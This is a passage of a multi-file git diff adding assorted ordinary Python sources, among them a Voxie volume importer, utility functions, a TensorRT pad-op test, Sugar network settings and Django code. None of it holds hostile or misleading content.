+with context.makeObject(context.bus, context.busName, args.voxie_operation, ['de.uni_stuttgart.Voxie.ExternalOperationImport']).ClaimOperationAndCatch() as op:
+    filename = op.Filename
+
+    with open(filename, 'rb') as file:
+        jsonData = json.load(codecs.getreader('utf-8')(file))
+
+    if jsonData['Type'] != 'de.uni_stuttgart.Voxie.FileFormat.Volume.VxVol':
+        raise Exception('Expected type %s, got %s' % (
+            repr('de.uni_stuttgart.Voxie.FileFormat.Volume.VxVol'), repr(jsonData['Type'])))
+
+    if jsonData['VolumeType'] != 'Voxel':
+        raise Exception('Expected volume type %s, got %s' % (
+            repr('Voxel'), repr(jsonData['VolumeType'])))
+
+    dataType = (str(jsonData['DataType'][0]), int(jsonData['DataType'][1]), str(jsonData['DataType'][2]))
+    arrayShape = [int(jsonData['ArrayShape'][i]) for i in range(3)]
+    gridSpacing = [float(jsonData['GridSpacing'][i]) for i in range(3)]
+    volumeOrigin = [float(jsonData['VolumeOrigin'][i]) for i in range(3)]
+
+    dataSourceType = str(jsonData['DataSourceType'])
+    if dataSourceType != 'ImageArchive':
+        raise Exception('Unknown DataSourceType: %s' % (repr(dataSourceType)))
+
+    dataFilename = str(jsonData['DataSource']['DataFilename'])
+    storageOrder = [int(jsonData['DataSource']['StorageOrder'][i]) for i in range(3)]
+
+    rawDataFilename = os.path.join(os.path.dirname(filename), dataFilename)
+    # iaiFilename = rawDataFilename + '.iai'
+
+    # print (dataType)
+    # print (arrayShape)
+    # print (gridSpacing)
+    # print (volumeOrigin)
+    # print (storageOrder)
+    # print (rawDataFilename)
+    # # print (iaiFilename)
+
+    expectedSize = [None, None, None]
+    for resDim in range(3):
+        so = storageOrder[resDim]
+        aso = abs(so)
+        if aso not in [1, 2, 3]:
+            raise Exception('Got invalid StorageOrder value: %s' % (so,))
+        if expectedSize[aso - 1] is not None:
+            raise Exception('Got StorageOrder value %s multiple time' % (aso,))
+        expectedSize[aso - 1] = arrayShape[resDim]
+
+    ia = imagearchive.ImageArchive(rawDataFilename)
+
+    if ia.count != expectedSize[2]:
+        raise Exception('ia.count != expectedSize[2]')
+    for z in range(expectedSize[2]):
+        info = ia.info[z]
+        if info['TypeName'] != dataType[0]:
+            raise Exception("info['TypeName'] != dataType[0]")
+        if int(info['TypeSize']) != dataType[1]:
+            raise Exception("int(info['TypeSize']) (%d) != dataType[1] (%d)" % (int(info['TypeSize']), dataType[1]))
+        if info['TypeEndian'] != dataType[2]:
+            raise Exception("info['TypeEndian'] (%s) != dataType[2] (%s)", (repr(info['TypeEndian']), repr(dataType[2])))
+        if int(info['Width']) != expectedSize[0]:
+            raise Exception("int(info['Width']) != expectedSize[0]")
+        if int(info['Height']) != expectedSize[1]:
+            raise Exception("int(info['Height']) != expectedSize[1]")
+
+    dataType2 = (dataType[0], dataType[1], 'native')
+
+    with instance.CreateVolumeDataVoxel(arrayShape, dataType2, volumeOrigin, gridSpacing) as resultData:
+        with resultData.CreateUpdate() as update, resultData.GetBufferWritable(update) as buffer:
+            outData = buffer[()]
+            # Apply storageOrder inverted
+            mirror = []
+            dim = []
+            for i in range(3):
+                if storageOrder[i] < 0:
+                    mirror.append(slice(None, None, -1))
+                else:
+                    mirror.append(slice(None, None))
+                dim.append(abs(storageOrder[i]) - 1)
+            outData = outData[tuple(mirror)].transpose(dim)
+            if outData.shape != tuple(expectedSize):
+                raise Exception('outData.shape != tuple(expectedSize)')
+
+            op.ThrowIfCancelled()
+            for z in range(expectedSize[2]):
+                # TODO: Avoid memory allocations here?
+                img = ia.readImage(z)
+                outData[:, :, z] = img
+
+                op.ThrowIfCancelled()
+                op.SetProgress((z + 1) / expectedSize[2])
+
+            version = update.Finish()
+        with version:
+            op.Finish(resultData, version)
+
+context.client.destroy()
diff --git a/pool/shard000/Python/0008195_ch04_anagram.py b/pool/shard000/Python/0008195_ch04_anagram.py
new file mode 100644
index 0000000000000000000000000000000000000000..84808c9cbb4aa24c02fc0b3c9c21f10e1d67c168
--- /dev/null
+++ b/pool/shard000/Python/0008195_ch04_anagram.py
@@ -0,0 +1,21 @@
+
+
+def is_anagram(s1, s2):
+    s1 = ''.join(s1.lower().split())
+    s2 = ''.join(s2.lower().split())
+    return sorted(s1) == sorted(s2)
+
+# True
+print(is_anagram('heart', 'earth'))
+print(is_anagram('Torchwood', 'Doctor Who'))
+print(is_anagram('spot', 'stop'))
+print(is_anagram('silent', 'listen'))
+print(is_anagram('William Shakespeare', 'I am a weakish speller'))
+print(is_anagram('computer', 'cuter mop'))
+print(is_anagram('a b c  \t\n 1 2 3 \t\n ', '123abc\t\n'))
+print('')
+# False
+print(is_anagram('abc', 'abd'))
+print(is_anagram('play', 'pray'))
+print(is_anagram('string', 'sting'))
+
diff --git a/pool/shard000/Python/0008198_Util.py b/pool/shard000/Python/0008198_Util.py
new file mode 100644
index 0000000000000000000000000000000000000000..2e79a9a57fca0130343bf7e3a4624dd997bacaae
--- /dev/null
+++ b/pool/shard000/Python/0008198_Util.py
@@ -0,0 +1,173 @@
+'''
+Module containing a host of useful functions that do not fall into more
+explicit categories.
+'''
+import inspect
+import json
+import random
+import math
+import os
+import itertools
+
+
+def classMethods(classType):
+    '''
+    Given a class type, return a dictionary mapping string names of that
+    class's methods to the actual method.  For instance
+    ``classMethod(LTGA)['twoParentCrossover']`` will return the
+    ``twoParentCrossover`` function.
+
+    Parameters:
+
+    - ``classType``: Specifies what class to retrieve methods for.
+    '''
+    return dict(inspect.getmembers(classType, inspect.ismethod))
+
+
+def moduleClasses(module):
+    '''
+    Given a module, return a dictionary mapping string names of that
+    module's classes to the actual classes.  For instance
+    ``moduleClasses(FitnessFunction)['DeceptiveTrap']`` will return the
+    ``DeceptiveTrap`` class.
+
+    Parameters:
+
+    - ``module``: Specifies what module to retrieve classes for.
+    '''
+    return dict(inspect.getmembers(module, inspect.isclass))
+
+
+def loadConfiguration(filename, fileMethod=open):
+    '''
+    Loads a json from the given file name.  Optional file method allows for
+    compressed files.
+
+    Parameters:
+
+    - ``filename``: The relative path to the file to be loaded.
+    - ``fileMethod``: Handler to use to open the file.  Defaults to regular
+      open.
+    '''
+    with fileMethod(filename, 'r') as f:
+        return json.load(f)
+
+
+def loadConfigurations(filenames, fileMethod=open):
+    '''
+    Given a list of file names, create a single dictionary containing all of
+    their contents.  Repeated keywords will override previously encountered
+    values.  Optional file method allows for
+    compressed files.
+
+    Parameters:
+
+    - ``filenames``: A list of relative paths to the files to be loaded.
+    - ``fileMethod``: Handler to use to open the file.  Defaults to regular
+      open.
+    '''
+    result = {}
+    for filename in filenames:
+        result.update(loadConfiguration(filename, fileMethod))
+    return result
+
+
+def saveConfiguration(filename, data, fileMethod=open):
+    '''
+    Writes a block of json-able data to the specifed file path.
+
+    Parameters:
+
+    - ``filename``: The relative path to the file to be written to.
+    - ``data``: Data that can be converted to a json.  IE dictionaries and
+      lists.
+    - ``fileMethod``: Handler to use to open the file.  Defaults to regular
+      open.
+    '''
+    with fileMethod(filename, 'w') as f:
+        json.dump(data, f)
+
+
+def saveList(filename, data, fileMethod=open):
+    '''
+    Write out a list of jsons in a more human readable way than
+    ``saveConfiguration``.
+
+    Parameters:
+
+    - ``filename``: The relative path to the file to be written to.
+    - ``data``: A list of json-able data to be written
+    - ``fileMethod``: Handler to use to open the file.  Defaults to regular
+      open.
+    '''
+    with fileMethod(filename, 'w') as f:
+        f.write('[' + os.linesep)
+        for lineNumber, line in enumerate(data):
+            json.dump(line, f)
+            if lineNumber != len(data) - 1:
+                f.write(",")
+            f.write(os.linesep)
+        f.write(']' + os.linesep)
+
+
+def randomBitString(length):
+    '''
+    Generate and return a random list of 0s and 1s.
+
+    Parameters:
+
+    - ``length``: The length of the list to be generated.
+    '''
+    generated = bin(random.getrandbits(length))[2:]  # String of bits
+    leadingZeros = '0' * (length - len(generated)) + generated
+    return map(int, leadingZeros)
+
+
+def median(data, default=0):
+    '''
+    Given a data set, return the median value.
+
+    Parameters:
+
+    - ``data``: The data to find the median of.
+    - ``default``: If ``data`` contains no information, what value should be
+      returned.  Defaults to 0.
+    '''
+    ordered = sorted(data)
+    size = len(ordered)
+    if size == 0:
+        return default
+    elif size % 2 == 1:
+        return ordered[(size - 1) / 2]
+    else:
+        return (ordered[(size / 2)] + ordered[size / 2 - 1]) / 2.0
+
+
+def meanstd(data):
+    '''
+    Returns the mean and standard deviation of the given data.
+
+    Parameters:
+
+    - ``data``: The data to find the mean and standard deviation of.
+    '''
+    try:
+        mean = float(sum(data)) / len(data)
+        std = math.sqrt(sum([(value - mean) ** 2 for value in data])
+                        / len(data))
+        return mean, std
+    except (ZeroDivisionError, TypeError):
+        return 0, 0
+
+
+def binaryCounter(bits):
+    '''
+    Creates a generator that will count through all possible values for a set
+    number of bits.  Returned in counting order.  For instance,
+    ``binaryCounter(3)`` will yield, 000, 001, 010, 011 ... 110, 111.
+
+    Parameters:
+
+    - ``bits`` The number of bits in the binary counter.
+    '''
+    return itertools.product((0, 1), repeat=bits)
diff --git a/pool/shard000/Python/0008199_projected.py b/pool/shard000/Python/0008199_projected.py
new file mode 100644
index 0000000000000000000000000000000000000000..4aa11ffc7ebcc87834665dd8e9055b6d58dfcd71
--- /dev/null
+++ b/pool/shard000/Python/0008199_projected.py
@@ -0,0 +1,109 @@
+from pkg_resources import resource_stream
+from toolz import memoize, curry
+import yaml
+import numpy as np
+import pandas as pd
+
+from nfldata import lookup
+
+
+def load_by_week(connection, week_loader, weeks_by_season, **kwargs):
+    all_dfs = []
+    for season_year, weeks in weeks_by_season.items():
+        for week in weeks:
+            if 'season_type' in kwargs:
+                season_type = kwargs['season_type']
+            elif week > 17:
+                season_type = 'Postseason'
+            else:
+                season_type = 'Regular'
+
+            week_df = week_loader(season_year=season_year, week=week)
+            week_df['season_year'] = season_year
+            week_df['week'] = week
+            week_df['season_type'] = season_type
+            all_dfs.append(week_df)
+
+    df = pd.concat(all_dfs, ignore_index=True)
+    return sanitize(connection, df, **kwargs)
+
+
+def sanitize(connection, df, idp=False, source=''):
+    df.columns = [get_column_renames().get(standardize_str(col), standardize_str(col)) for col in df.columns]
+    df = df.drop(df.index[df['team'] == 'FA'], axis=0)
+    df = df.drop(
+        df.index[np.array(
+            [(row['name'], row['pos']) in get_ignored_players()
+             for _, row in df.iterrows()]),
+        ], axis=0,
+    )
+
+    if 'bye' in df:
+        df = df.drop(df.index[df['bye'] == df['week']], axis=0)
+
+    if not idp:
+        df = df.drop([col for col in df if col.startswith('idp')], axis=1)
+        df = df.drop(df.index[df['pos'].isin({'DL', 'LB', 'DB'})], axis=0)
+
+    df = df.drop(df.columns[df.apply(all_same_or_null)], axis=1)
+
+    if source.lower() == 'fantasyfootballanalytics':
+        df = df.drop([
+            'passing_cmp_pct',
+            'receiving_rec',
+            'receiving_tds',
+            'ret_tds',
+            'ret_yds',
+            '40_yd_passes',
+            '40_yd_recs',
+            '40_yd_rushes',
+            'bye',
+            'kicking_fgm_0_19',
+            'kicking_fgm_20_29',
+            'kicking_fgm_30_39',
+            'kicking_fgm_40_49',
+            'kicking_fgm_50p',
+        ], axis=1)
+
+    df = pd.concat([
+        df,
+        df.apply(_id_from_row(connection, lookup_home='home' not in df, lookup_opp='opp' not in df), axis=1)
+    ], axis=1)
+    df['player_id'] = [lookup.player_id(connection, row['name'], row['pos'], team=row['team'])
+                       for _, row in df.iterrows()]
+
+    return df.set_index(['gsis_id', 'player_id']).sort_index()
+
+
+def standardize_str(str_):
+    return str_.lower().replace(' ', '_')
+
+
+def all_same_or_null(series):
+    # Some columns we short-circuit in order to always keep.
+    if series.name in {
+        'season_year',
+        'season_type',
+        'week',
+        'team',
+        'gsis_id',
+    }:
+        return False
+    return len(set(series.unique()) - {np.nan}) < 2
+
+
+@curry
+def _id_from_row(connection, row, **kwargs):
+    return lookup.gsis_id(connection, row['season_year'], row['week'], row['team'],
+                          season_type=row['season_type'], **kwargs)
+
+
+@memoize
+def get_ignored_players():
+    return [tuple(player.split('; '))
+            for player in yaml.load(resource_stream(__name__, 'data/ignored_players.yaml'))]
+
+
+@memoize
+def get_column_renames():
+    return yaml.load(resource_stream(__name__, 'data/column_renames.yaml'))
diff --git a/pool/shard000/Python/0008200_test_trt_convert_pad.py b/pool/shard000/Python/0008200_test_trt_convert_pad.py
new file mode 100644
index 0000000000000000000000000000000000000000..446f7717e3b504c1c7f8e4eb6904bc5225e76cb3
--- /dev/null
+++ b/pool/shard000/Python/0008200_test_trt_convert_pad.py
@@ -0,0 +1,138 @@
+# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
+# 
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+# 
+#     http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from trt_layer_auto_scan_test import TrtLayerAutoScanTest, SkipReasons
+from program_config import TensorConfig, ProgramConfig
+import numpy as np
+import paddle.inference as paddle_infer
+from functools import partial
+from typing import Optional, List, Callable, Dict, Any, Set
+import unittest
+
+
+class TrtConvertPadTest(TrtLayerAutoScanTest):
+    def is_program_valid(self, program_config: ProgramConfig) -> bool:
+        inputs = program_config.inputs
+        weights = program_config.weights
+        attrs = [
+            program_config.ops[i].attrs
+            for i in range(len(program_config.ops))
+        ]
+
+        if attrs[0]['pad_value'] != 0.0:
+            return False
+        for x in attrs[0]['paddings']:
+            if x < 0:
+                return False
+
+        return True
+
+    def sample_program_configs(self):
+        def generate_input1(attrs: List[Dict[str, Any]]):
+            return np.ones([1, 3, 64, 64]).astype(np.float32)
+
+        def generate_weight1(attrs: List[Dict[str, Any]]):
+            return np.random.random([24, 3, 3, 3]).astype(np.float32)
+
+        for pad_value in [0.0, 1.0, 2.0, -100, 100.0]:
+            for paddings in [[0, 0, 0, 0, 1, 1, 1, 1],
+                             [0, 0, 0, 0, 1, 2, 3, 4],
+                             [0, 0, 1, 1, 1, 1, 1, 1],
+                             [0, 0, 0, 0, -1, -1, 1, 1]]:
+                dics = [{"pad_value": pad_value, "paddings": paddings}, {}]
+
+                ops_config = [{
+                    "op_type": "pad",
+                    "op_inputs": {
+                        "X": ["input_data"]
+                    },
+                    "op_outputs": {
+                        "Out": ["pad_output_data"]
+                    },
+                    "op_attrs": dics[0]
+                }]
+                ops = self.generate_op_config(ops_config)
+
+                program_config = ProgramConfig(
+                    ops=ops,
+                    weights={},
+                    inputs={
+                        "input_data":
+                        TensorConfig(data_gen=partial(generate_input1, dics))
+                    },
+                    outputs=["pad_output_data"])
+
+                yield program_config
+
+    def sample_predictor_configs(
+            self, program_config) -> (paddle_infer.Config, List[int], float):
+        def generate_dynamic_shape(attrs):
+            self.dynamic_shape.min_input_shape = {"input_data": [1, 3, 32, 32]}
+            self.dynamic_shape.max_input_shape = {"input_data": [4, 3, 64, 64]}
+            self.dynamic_shape.opt_input_shape = {"input_data": [1, 3, 64, 64]}
+
+        def clear_dynamic_shape():
+            self.dynamic_shape.min_input_shape = {}
+            self.dynamic_shape.max_input_shape = {}
+            self.dynamic_shape.opt_input_shape = {}
+
+        def generate_trt_nodes_num(attrs, dynamic_shape):
+            for x in range(len(program_config.ops[0].attrs['paddings']) - 4):
+                if program_config.ops[0].attrs['paddings'][x] != 0:
+                    return 0, 3
+            return 1, 2
+
+        attrs = [
+            program_config.ops[i].attrs
+            for i in range(len(program_config.ops))
+        ]
+
+        # for static_shape
+        clear_dynamic_shape()
+        self.trt_param.precision = paddle_infer.PrecisionType.Float32
+        yield self.create_inference_config(), generate_trt_nodes_num(
+            attrs, False), 1e-5
+        self.trt_param.precision = paddle_infer.PrecisionType.Half
+        yield self.create_inference_config(), generate_trt_nodes_num(
+            attrs, False), 1e-2
+
+        # for dynamic_shape
+        generate_dynamic_shape(attrs)
+        self.trt_param.precision = paddle_infer.PrecisionType.Float32
+        yield self.create_inference_config(), generate_trt_nodes_num(attrs,
+                                                                     True), 1e-5
+        self.trt_param.precision = paddle_infer.PrecisionType.Half
+        yield self.create_inference_config(), generate_trt_nodes_num(attrs,
+                                                                     True), 1e-2
+
+    def add_skip_trt_case(self):
+        def teller1(program_config, predictor_config):
+            for x in range(len(program_config.ops[0].attrs['paddings']) - 4):
+                if program_config.ops[0].attrs['paddings'][x] != 0:
+                    return True
+            return False
+
+        self.add_skip_case(
+            teller1, SkipReasons.TRT_NOT_IMPLEMENTED,
+            "NOT Implemented: we need to add support pad not only inplement on h or w, such as paddings = [0, 0, 1, 1, 1, 1, 1, 1]"
+        )
+        pass
+
+    def test(self):
+        self.add_skip_trt_case()
+        self.run_test()
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/pool/shard000/Python/0008201_model.py b/pool/shard000/Python/0008201_model.py
new file mode 100644
index 0000000000000000000000000000000000000000..586bbd4549c69d53c7633ced20d394b14755bce9
--- /dev/null
+++ b/pool/shard000/Python/0008201_model.py
@@ -0,0 +1,201 @@
+# Copyright (C) 2008 One Laptop Per Child
+# Copyright (C) 2014 Sugar Labs, Frederick Grose
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+
+import logging
+
+import dbus
+from gettext import gettext as _
+from gi.repository import Gio
+from gi.repository import NMClient
+
+from jarabe.model import network
+
+
+KEYWORDS = ['network', 'jabber', 'radio', 'server', 'social', 'help']
+
+
+class ReadError(Exception):
+    def __init__(self, value):
+        self.value = value
+
+    def __str__(self):
+        return repr(self.value)
+
+
+def get_social_help():
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    return settings.get_string('social-help-server')
+
+
+def set_social_help(server):
+    """
+    Set the social-help server
+
+    e.g. 'https://use-socialhelp.sugarlabs.org'
+    """
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    server = server.strip().rstrip('/')
+    # Don't add http:// to a null input
+    if server and '://' not in server:
+        server = 'http://' + server
+    settings.set_string('social-help-server', server)
+
+
+def get_jabber():
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    return settings.get_string('jabber-server')
+
+
+def print_jabber():
+    print get_jabber()
+
+
+def set_jabber(server):
+    """Set the jabber server
+    server : e.g. 'olpc.collabora.co.uk'
+    """
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    settings.set_string('jabber-server', server)
+
+    # DEPRECATED
+    from gi.repository import GConf
+    client = GConf.Client.get_default()
+    client.set_string('/desktop/sugar/collaboration/jabber_server', server)
+
+    return 0
+
+
+def get_radio():
+    try:
+        nm_client = NMClient.Client()
+        return nm_client.wireless_get_enabled()
+    except:
+        raise ReadError(_('State is unknown.'))
+
+
+def print_radio():
+    print ('off', 'on')[get_radio()]
+
+
+def set_radio(state):
+    """Turn Radio 'on' or 'off'
+    state : 'on/off'
+    """
+    try:
+        state = state or state == 'on' or state == 1
+        nm_client = NMClient.Client()
+        nm_client.wireless_set_enabled(state)
+    except:
+        raise ValueError(_('Error in specified radio argument use on/off.'))
+
+
+def clear_registration():
+    """Clear the registration with the schoolserver
+    """
+    settings = Gio.Settings('org.sugarlabs')
+    settings.set_string('backup-url', '')
+
+    # DEPRECATED
+    from gi.repository import GConf
+    client = GConf.Client.get_default()
+    client.set_string('/desktop/sugar/backup_url', '')
+    return 1
+
+
+wifi_whitelist = ('Sugar Ad-hoc Network 1',
+                  'Sugar Ad-hoc Network 6',
+                  'Sugar Ad-hoc Network 11')
+mesh_whitelist = ('OLPC Mesh Network 1',
+                  'OLPC Mesh Network 6',
+                  'OLPC Mesh Network 11',
+                  'OLPC XS Mesh Network 1',
+                  'OLPC XS Mesh Network 6',
+                  'OLPC XS Mesh Network 11')
+
+
+def is_wireless(connection):
+    """Check for wireless connection not whitelisted by Sugar.
+    """
+    wifi_settings = connection.get_settings(
+        network.NM_CONNECTION_TYPE_802_11_WIRELESS)
+    if wifi_settings:
+        return not (wifi_settings['mode'] == 'adhoc' and
+                    connection.get_id() in wifi_whitelist)
+
+    mesh_settings = connection.get_settings(
+        network.NM_CONNECTION_TYPE_802_11_OLPC_MESH)
+    if mesh_settings:
+        return not connection.get_id() in mesh_whitelist
+
+
+def clear_wireless_networks():
+    """Remove all wireless connections except Sugar-internal ones.
+    """
+    try:
+        connections = network.get_connections()
+    except dbus.DBusException:
+        logging.debug('NetworkManager not available')
+    else:
+        wireless_connections = \
+            (connection for connection in
+             connections.get_list() if is_wireless(connection))
+
+        for connection in wireless_connections:
+            try:
+                connection.delete()
+            except dbus.DBusException:
+                logging.debug("Could not remove connection %s",
+                              connection.get_id())
+
+
+def have_wireless_networks():
+    """Check that there are non-Sugar-internal wireless connections.
+    """
+    try:
+        connections = network.get_connections()
+    except dbus.DBusException:
+        logging.debug('NetworkManager not available')
+        return False
+    else:
+        return any(is_wireless(connection)
+                   for connection in connections.get_list())
+
+
+def get_publish_information():
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    publish = settings.get_boolean('publish-gadget')
+    return publish
+
+
+def print_publish_information():
+    print get_publish_information()
+
+
+def set_publish_information(value):
+    """ If set to true, Sugar will make you searchable for
+    the other users of the Jabber server.
+    value: 0/1
+    """
+    try:
+        value = (False, True)[int(value)]
+    except:
+        raise ValueError(_('Error in specified argument use 0/1.'))
+
+    settings = Gio.Settings('org.sugarlabs.collaboration')
+    settings.set_boolean('publish-gadget', value)
+    return 0
diff --git a/pool/shard000/Python/0008203_unit_redirect_viewset.py b/pool/shard000/Python/0008203_unit_redirect_viewset.py
new file mode 100644
index 0000000000000000000000000000000000000000..fc254f40eb037d1d297f7b2654dc46053b9d447d
--- /dev/null
+++ b/pool/shard000/Python/0008203_unit_redirect_viewset.py
@@ -0,0 +1,54 @@
+from urllib.parse import parse_qs
+
+from django.http import QueryDict
+from rest_framework import status, viewsets
+from rest_framework.response import Response
+
+from services.models.service_mapping import ServiceMapping
+
+
+class UnitRedirectViewSet(viewsets.ViewSet):
+    """
+    Implement redirecting from old TPR v3 service id
+    based filters in unit endpoint to new TPR v4 ontologytree node ids.
+
+    """
+
+    def _malformed_error(self):
+        return Response(
+            {"error": "malformed service id"}, status=status.HTTP_404_NOT_FOUND
+        )
+
+    def list(self, request):
+        params = self.request.query_params.copy()
+        service_id_param = None
+        try:
+            service_id_param = params.pop("service")
+        except KeyError:
+            return self._malformed_error()
+        if not service_id_param or len(service_id_param) == 0:
+            return self._malformed_error()
+        try:
+            service_ids = [str(int(s)) for s in service_id_param[0].split(",")]
+        except ValueError:
+            return self._malformed_error()
+        queryset = ServiceMapping.objects.filter(service_id__in=service_ids)
+        if queryset.count() == 0:
+            return Response(
+                {"message": "service id not found"}, status=status.HTTP_404_NOT_FOUND
+            )
+        return Response(self._generate_redirect_parameters(queryset, params))
+
+    def _generate_redirect_parameters(self, queryset, params):
+        for mapping in queryset:
+            params.appendlist("service_node", str(mapping.node_id.id))
+            additional_filter = parse_qs(mapping.filter)
+            for k, val in additional_filter.items():
+                for x in val:
+                    params.appendlist(k, x)
+
+        final_query = QueryDict().copy()
+        for key, val in params.lists():
+            final_query[key] = ",".join(val)
+
+        return final_query
diff --git a/pool/shard000/Python/0008204_runtests.py b/pool/shard000/Python/0008204_runtests.py
new file mode 100644
index 0000000000000000000000000000000000000000..7afcf6eb997ff9e59efc0a972a5c5cf0f3d125a0
--- /dev/null
+++ b/pool/shard000/Python/0008204_runtests.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+# Adapted from https://raw.githubusercontent.com/hzy/django-polarize/master/runtests.py
+
+import sys
+
+from django.conf import settings
+from django.core.management import execute_from_command_line
+
+
+if not settings.configured:
+    settings.configure(
+        DATABASES={
+            'default': {
+                'ENGINE': 'django.db.backends.sqlite3',
+            }
+        },
+        INSTALLED_APPS=(
+            'damn',
+            'tests',
+        )
+    )
+
+
+def runtests():
+    argv = sys.argv[:1] + ['test', 'tests']
+    execute_from_command_line(argv)
+
+
+if __name__ == '__main__':
+    runtests()
diff --git a/pool/shard000/Python/0008208_building_test.py b/pool/shard000/Python/0008208_building_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..46b77ed2ec8b506eb351c05ac18e0ebc2c7f3097
--- /dev/null
+++ b/pool/shard000/Python/0008208_building_test.py
@@ -0,0 +1,119 @@
+
+import pprint
+pp = pprint.PrettyPrinter( indent = 4 )
+import re
+import threading
+import timeit
+
+import os, sys
+bindir = os.path.abspath(os.path.dirname(sys.argv[0]))
+libdir = bindir + "/../lib"
+sys.path.append(libdir)
+
+import lacuna as lac
+
+glc = lac.clients.Member(
+    config_file = bindir + "/../etc/lacuna.cfg",
+    config_section = 'play_test',
+)
+my_planet = glc.get_body_byname( 'bmots support 01' )
+
+
+
+### Finding a building (the hard way)
+#list_buildings(my_planet)  # I deleted this function; see body_test.py if you really want it back.
+#quit()
+### ...read the output, find the building you want, copy its ID, then:
+#sp = my_planet.get_building_id( 'spaceport', <ID from copy above> )
+#print( sp.image )
+
+
+### Finding a building by coords (easy)
+### 
+#sp = my_planet.get_building_coords( 1, -3 )
+#print( sp.image )
+
+
+### Finding a building by building type (also easy)
+### just remember this returns a list.
+### 
+#sp = my_planet.get_buildings_bytype( 'spaceport', 0, 1 )[0]
+#print( sp.image )
+
+
+### Build new
+### Make sure to set the coords (args to build()) to an available plot.
+###
+#sp = my_planet.get_new_building( 'spaceport' )
+#sp.build(5, -2)
+#print( "My new spaceport started building on {} and will finish on {}, which will take {} seconds."
+#    .format(sp.pending_build.start, sp.pending_build.end, sp.pending_build.seconds)
+#)
+### 
+### This is a little wordy, but you've also got access to the start/end times 
+### as datetime objects, and the build duration as a lacuna.bc.ElapsedTime 
+### object:
+#print( "My new spaceport will finish on {}-{}-{}.  That's {} days, {} hours, {} minutes, and {} seconds."
+#    .format(
+#        sp.pending_build.end_dt.year, 
+#        sp.pending_build.end_dt.month, 
+#        sp.pending_build.end_dt.day, 
+#        sp.pending_build.seconds_el.days, 
+#        sp.pending_build.seconds_el.hours, 
+#        sp.pending_build.seconds_el.minutes, 
+#        sp.pending_build.seconds_el.seconds, 
+#    )
+#)
+
+
+### Demolish
+### CAREFUL WITH UNCOMMENTING THIS
+### Run the "Build new" block above first, then copy the building ID from its 
+### output and paste it as the second arg to get_building_id() below.
+#sp = my_planet.get_building_id( 'spaceport', 4734912 )
+#print( "Before demo:", sp.id )
+#sp.demolish()
+### This would throw an AttributeError - the id no longer exists after 
+### demolition (this is as it should be).
+###     print( "After demo:", sp.id )
+
+### Upgrade
+### 
+### This method had to be renamed to do_upgrade.  See the comments in 
+### building.py - search for "do_" in there, and make sure to document this 
+### behavior somewhere more reasonable.
+###
+### Otherwise, this works.
+#sp = my_planet.get_building_coords( 1, -3 )
+#sp.do_upgrade()
+
+
+### Downgrade
+###
+### This method had to be renamed with the "^do_" the same way and for the 
+### same reason as upgrade.  Again, go make with the documentation.
+###
+### Again, this otherwise works.  BE CAREFUL WITH TESTING THIS PLEASE
+#sp = my_planet.get_building_coords( 2, -3 )
+#sp.do_downgrade()
+
+### Get stats for level
+#sp = my_planet.get_building_coords( 2, -3 )
+#rv = sp.get_stats_for_level(16)
+#pp.pprint( rv['building'] )
+
+### Repair
+### To test this, I demoed the citadel on one of my planets on PT and then 
+### snarked myself.  I also needed to copy buildings/spaceport.py and make a 
+### new buildings module representing the buildings to fix, as well as add 
+### that new building module to buildings/__init__.py (or the eval in 
+### get_building_coords would blow up).
+#test = lac.clients.Member(
+#    config_file = bindir + "/../etc/lacuna.cfg",
+#    config_section = 'play_test',
+#)
+#my_planet = test.get_body_byname( 'bmots support 01' )
+#sp = my_planet.get_building_coords( -3, 0 )
+#pp.pprint( sp.repair_costs )
+#rv = sp.repair()
+
diff --git a/pool/shard000/Python/0008212_0007_auto_20160417_1656.py b/pool/shard000/Python/0008212_0007_auto_20160417_1656.py
new file mode 100644
index 0000000000000000000000000000000000000000..9ce42315a8b16de62e670421fc0401a821af1d4f
--- /dev/null
+++ b/pool/shard000/Python/0008212_0007_auto_20160417_1656.py
@@ -0,0 +1,31 @@
+# -*- coding: utf-8 -*-
+# Generated by Django 1.9.5 on 2016-04-17 16:56
+from __future__ import unicode_literals
+
+from django.conf import settings
+from django.db import migrations, models
+import django.db.models.deletion
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
+        ('attendance', '0006_auto_20160417_0955'),
+    ]
+
+    operations = [
+        migrations.CreateModel(
+            name='Keys',
+            fields=[
+                ('id', models.CharField(max_length=10, primary_key=True, serialize=False)),
+                ('key_type', models.CharField(blank=True, max_length=4, null=True)),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.AddField(
+            model_name='swipe',
+            name='source',
+            field=models.CharField(blank=True, max_length=5, null=True),
+        ),
+    ]
diff --git a/pool/shard000/Python/0008219_pyunit_binop2_neq.py b/pool/shard000/Python/0008219_pyunit_binop2_neq.py
new file mode 100644
index 0000000000000000000000000000000000000000..dcf133e6c629e898f7a71a751c315b54f2340896
--- /dev/null
+++ b/pool/shard000/Python/0008219_pyunit_binop2_neq.py
@@ -0,0 +1,84 @@
+import sys
